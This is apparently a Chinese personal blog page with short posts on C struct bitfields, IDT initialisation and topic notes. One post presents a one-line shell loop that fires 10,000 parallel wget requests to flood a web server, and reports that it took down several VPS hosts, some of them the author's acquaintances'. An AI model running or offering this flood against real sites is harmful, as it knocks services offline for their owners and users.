        mode tcp
        balance roundrobin
        server nisl 127.0.0.1:8043

     

     
  • jinzihao am3:22 on 2017年8月24日 链接地址 | 回复  

    惊悚!放倒一台VPS只需一行命令……  

    for i in `seq 1 1 10000`; do wget -q -O /dev/null 'http://www.example.com' & done

    只需要一台普通网络环境下的普通电脑,只需要一行命令,实测效果惊悚:

    (图1. 运行在DigitalOcean上的一台主机,不使用https,Apache 2.4 + MySQL,运行WordPress,首先倒下的是MySQL)

    (图2. 运行在BandwagonHost上的一台主机,使用https,Apache 2.4 + MySQL,运行WordPress,首先倒下的是MySQL)

    (图3. 运行在BandwagonHost上的一台主机,不使用https,Apache 2.4 + 静态页面,Apache倒下)

    (图4. 运行在DigitalOcean上的一台主机,使用https,nginx 1.10,运行WordPress,nginx倒下)

    更新:经twd2同学指正,此处应为PHP倒下(看来nginx还是可以的…)

    (此处为了验证方法的有效性,需要使用他人的主机进行测试,向twd2同学表示抱歉…)

    (图5. 运行在阿里云上的一台主机,使用https,nginx 1.4,运行WordPress,nginx倒下)

    更新:经twd2同学指正,此处应为PHP倒下(看来nginx还是可以的…)

    (此处为了验证方法的有效性,需要使用他人的主机进行测试,向blink同学表示抱歉…)

     
  • jinzihao pm10:23 on 2017年7月4日 链接地址 | 回复  

    (待填充)
    fifo文件的使用与mkfifo命令
    C语言的getopt函数
    getenv函数
    stringification macro
    -fno-function-cse
    -finstrument-functions

     
  • jinzihao pm11:55 on 2017年6月11日 链接地址 | 回复  

    围棋AI  

    (这个坑出分后填上…)

     
  • jinzihao pm3:37 on 2017年3月1日 链接地址 | 回复  

    static struct gatedesc idt[256] = {{0}};
    

    这行代码看起来有点奇怪…
    其实struct也可以用{value1, value2, …}的方式初始化,与数组的初始化类似,例如:

    struct gatedesc idt1 = {7};
    

    表示idt1的第一个元素用7初始化,其余元素用0初始化。
    因此开始这行代码表示新建一个大小为256的gatedesc数组,数组的每一项的每个元素(或说“成员变量”)都是0。

     
  • jinzihao pm2:46 on 2017年3月1日 链接地址 | 回复  

    C语言struct定义中的冒号(“:”)  

    在C语言的struct定义中,可以使用冒号(“:”)来指定struct中的元素所占的bit数,注意是bit不是byte,因此可以出现诸如3bit、11bit的元素,如下面这段代码所示:

    struct gatedesc {
        unsigned gd_off_15_0 : 16;        // low 16 bits of offset in segment
        unsigned gd_ss : 16;            // segment selector
        unsigned gd_args : 5;            // # args, 0 for interrupt/trap gates
        unsigned gd_rsv1 : 3;            // reserved(should be zero I guess)
        unsigned gd_type : 4;            // type(STS_{TG,IG32,TG32})
        unsigned gd_s : 1;                // must be 0 (system)
        unsigned gd_dpl : 2;            // descriptor(meaning new) privilege level
        unsigned gd_p : 1;                // Present
        unsigned gd_off_31_16 : 16;        // high bits of offset in segment
    };

    这个数据结构对应于如下两种x86架构下的中断描述符(IDT):

    这种语法在表示一些带有非整字节元素的数据结构时非常方便,例如x86架构定义的一些数据结构,或是类似IPv4的网络协议头,可以免于用C++的成员函数的方式来封装。

     
c
写新的
j
下一篇文章/下一个回复
k
前一篇文章/以前的回复
r
回复
e
编辑
o
显示/隐藏 回复
t
回到顶部
l
go to login
h
show/hide help
shift + esc
取消